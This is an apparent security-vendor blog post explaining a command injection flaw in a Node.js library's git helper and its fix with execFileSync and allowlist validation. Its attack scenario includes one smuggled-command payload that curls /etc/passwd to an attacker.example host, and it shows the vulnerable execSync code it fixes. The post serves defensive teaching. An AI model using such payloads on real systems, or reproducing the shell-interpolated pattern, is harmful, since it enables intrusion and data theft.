Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/pass.js` where git commands were constructed by interpolating unsanitized arguments directly into shell strings passed to `execSync()`. The fix replaces shell-string execution with `execFileSync()` using argument arrays, eliminating the shell interpolation layer entirely, and adds strict input validation for task names before they reach the filesystem or process spawning logic.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `scripts/pass.js` at line 82, where user-controllable input was interpolated into shell command strings passed to `execSync()`. Because `execSync()` invokes a shell to parse the command string, any unsanitized metacharacters in the `args` or `task` variables could allow an attacker to execute arbitrary OS commands. The fix replaces `execSync('git ' + args)` with `execFileSync('git', argArray)`, which passes arguments directly to the process without shell interpretation, and adds a strict allowlist regex (`/^[\w-]+$/`) to validate task names before use.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplaced execSync() with execFileSync() using argument arrays; added strict regex validation for task names
riskArbitrary OS command execution if git args or task names are attacker-controlled
languageJavaScript (Node.js)
root causeexecSync() passes a shell-interpolated string, allowing shell metacharacters in arguments to break out of the intended command
vulnerabilityCommand Injection via child_process (execSync with shell interpolation)

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The scripts/pass.js file orchestrates git operations — but a flaw in its git() helper created a serious security risk

The scripts/pass.js file in this Node.js library handles automation passes: it loads task modules, processes content chunks, and commits results to git. To do so, it defines a small git() helper that wraps execSync. This is a common, convenient pattern — but the way arguments were assembled and passed to execSync opened a command injection path that Semgrep flagged at line 82.


The Vulnerability Explained

What went wrong: shell interpolation of unsanitized arguments

The original git() helper looked like this:

// BEFORE (vulnerable)
const { execSync } = require('child_process');

function git(args, opts = {}) {
  return execSync(`git ${args}`, { cwd: path.join(__dirname, '..'), stdio: 'pipe', ...opts })
    .toString().trim();
}

The function accepted args as a plain string and interpolated it directly into a shell command: `git ${args}`. It was called throughout the file like this:

// BEFORE (vulnerable call sites)
try { git(`rev-parse --verify ${name}`); git(`checkout ${name}`); }
catch { git(`checkout -b ${name}`); }

git(`add "${rel}"`);
const staged = git('diff --cached --name-only');

The core problem: execSync() invokes the system shell (/bin/sh on Unix, cmd.exe on Windows) to parse and execute the command string. That means any shell metacharacters embedded in args or name — such as ;, &&, |, $(...), or backticks — are interpreted by the shell as command separators or substitutions, not as literal argument text.

The loadPass function: a second injection surface

The vulnerability wasn't limited to git(). The loadPass() function used the task parameter to construct a filesystem path and, indirectly, to feed git operations — without any validation:

// BEFORE (no validation)
function loadPass(task) {
  const p = path.join(__dirname, 'passes', `${task}.js`);
  if (!fs.existsSync(p)) {
    console.error(`pass: no module at ${p}`);
    process.exit(1);
  }
  // ...
}

If task contained path traversal sequences (../../) or shell metacharacters, it could reach unintended files or, once fed into git commands, inject shell syntax.

A concrete attack scenario

Consider the ensureBranch(name) function, which calls:

git(`rev-parse --verify ${name}`);
git(`checkout ${name}`);

If name were attacker-controlled and set to:

main; curl https://attacker.example/exfil?data=$(cat /etc/passwd) #

The shell would execute:

git rev-parse --verify main; curl https://attacker.example/exfil?data=$(cat /etc/passwd) #

The second command runs curl with the contents of /etc/passwd as a query parameter — a classic data exfiltration payload. Because this is a Node.js library, the blast radius extends to every downstream consumer that installs this package: any application that calls into this library with externally influenced branch names, task names, or file paths is exposed.


The Fix

The patch makes two targeted, complementary changes that together eliminate the injection surface.

Change 1: Replace execSync with execFileSync and use argument arrays

// AFTER (safe)
const { execSync, execFileSync } = require('child_process');

function git(args, opts = {}) {
  const argArray = typeof args === 'string' ? args.split(' ') : args;
  return execFileSync('git', argArray, { cwd: path.join(__dirname, '..'), stdio: 'pipe', ...opts })
    .toString().trim();
}

execFileSync(file, args) does not invoke a shell. It passes the argument array directly to the OS execve() syscall (or its Windows equivalent), so each element of argArray is treated as a literal argument — shell metacharacters have no special meaning. There is no shell to interpret ; or $().

All call sites were updated to pass arrays instead of interpolated strings:

// AFTER (safe call sites)
try { git(['rev-parse', '--verify', name]); git(['checkout', name]); }
catch { git(['checkout', '-b', name]); }

git(['add', rel]);
const staged = git(['diff', '--cached', '--name-only']);

Note the subtle improvement in commitChunk: the original code wrapped rel in double quotes (`add "${rel}"`) as a manual escaping attempt. With execFileSync, that quoting is unnecessary and has been removed — the argument is passed verbatim.

Change 2: Strict allowlist validation for task names

// AFTER (safe)
function loadPass(task) {
  if (!/^[\w-]+$/.test(task)) {
    console.error(`pass: invalid task name: ${task}`);
    process.exit(2);
  }
  const p = path.join(__dirname, 'passes', `${task}.js`);
  // ...
}

The regex ^[\w-]+$ permits only word characters ([a-zA-Z0-9_]) and hyphens. Any input containing path separators (/, \), shell metacharacters (;, &, |, $, `), or whitespace is rejected immediately with a non-zero exit code. This is a classic allowlist approach: define exactly what is valid and reject everything else, rather than trying to blocklist known-bad characters.

Before vs. After — side by side

Aspect Before After
Execution method execSync('git ' + args) — shell invoked execFileSync('git', argArray) — no shell
Argument handling String interpolation Explicit array elements
Shell metacharacter risk Full exposure Eliminated
Task name validation None Strict ^[\w-]+$ allowlist
Manual quoting needed Yes ("${rel}") No

Prevention & Best Practices

1. Prefer execFileSync / spawnSync over execSync whenever possible

execSync(cmd) is convenient but dangerous with dynamic input. Reserve it for fully static, hardcoded command strings. For anything involving variables, use execFileSync(file, argsArray) or spawnSync(file, argsArray).

// Dangerous — never do this with dynamic input
execSync(`git checkout ${branchName}`);

// Safe — shell never sees branchName
execFileSync('git', ['checkout', branchName]);

2. Validate inputs at the earliest possible point

Apply allowlist validation as close to the source of input as possible — before the value is used in any sensitive operation. The loadPass fix validates task before it touches the filesystem or any process spawning logic.

3. Treat library inputs as untrusted

This package is a Node.js library. Its consumers control the inputs. Even if the current callers are "trusted", future consumers may not be. Library code should be hardened against the full range of possible inputs.

4. Use static analysis in CI

Semgrep's rule javascript.lang.security.detect-child-process.detect-child-process detected this issue automatically. Add Semgrep (or a similar tool like ESLint with eslint-plugin-security) to your CI pipeline to catch these patterns before they reach production.

5. Security standards alignment

  • CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
  • OWASP A03:2021 — Injection: Command injection is a top-tier injection risk
  • OWASP Command Injection Defense Cheat Sheet: recommends avoiding shell invocation entirely and using parameterized APIs

Key Takeaways

  • execSync('git ' + args) in pass.js was the exact exploit primitive: any caller passing a crafted args string containing shell metacharacters could execute arbitrary OS commands.
  • execFileSync with an argument array is the correct Node.js idiom for running subprocesses with dynamic arguments — it eliminates the shell layer entirely, not just sanitizes it.
  • **The manual quoting in git(\add "${rel}"`)was a false sense of security**: double quotes don't protect against all shell injection vectors and were unnecessary onceexecFileSync` was adopted.
  • Allowlist validation (^[\w-]+$) in loadPass provides defense-in-depth: even if a future refactor inadvertently reintroduces a shell call, malformed task names are rejected before they can reach it.
  • Library code has a wider attack surface than application code: downstream consumers of this npm package inherit all its vulnerabilities, making hardening especially important.

How Orbis AppSec Detected This

  • Source: The args parameter of the git() function in scripts/pass.js, and the task parameter of loadPass(), both of which can receive externally influenced values when the library is consumed downstream.
  • Sink: execSync(\git ${args}`)atscripts/pass.js:82— a shell-interpolated command string execution via Node.jschild_process.execSync`.
  • Missing control: No input validation or sanitization was applied to args before shell interpolation; no allowlist check existed for task before it was used in path construction and git operations.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced execSync with execFileSync using an explicit argument array to bypass shell interpretation, and added a strict ^[\w-]+$ allowlist regex to validate task names before use.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in scripts/pass.js is a textbook example of how a small, convenient shortcut — building a shell command string with execSync and template literals — creates a serious security risk when inputs are not fully controlled. The fix is equally instructive: switching to execFileSync with an argument array is not just a patch, it's an architectural improvement that removes the shell from the equation entirely. Combined with strict allowlist validation at the loadPass entry point, the attack surface is meaningfully reduced.

For Node.js developers: treat execSync with dynamic arguments as a code smell. Reach for execFileSync or spawnSync with argument arrays as your default, and validate inputs with allowlists as early as possible. These habits, enforced by static analysis in CI, prevent entire classes of injection vulnerabilities before they ship.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is embedded into a shell command string executed by functions like execSync(). The shell interprets metacharacters (e.g., `;`, `&&`, `|`, `$()`) in the input, allowing attackers to append or substitute arbitrary commands.

How do you prevent command injection in Node.js?

Use execFileSync() or spawnSync() with an explicit argument array instead of execSync() with a template string. These functions bypass the shell entirely, so metacharacters in arguments are treated as literal data, not shell syntax.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input escaping enough to prevent command injection in Node.js?

Escaping is fragile and error-prone — encoding rules differ by shell and context. The robust solution is to avoid the shell entirely by using execFileSync() with an argument array, making escaping unnecessary.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep (rule: javascript.lang.security.detect-child-process.detect-child-process) and ESLint security plugins can flag execSync() calls that include function arguments or template literals, which is exactly how this vulnerability was found.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #9

Related Articles

high

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

high

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens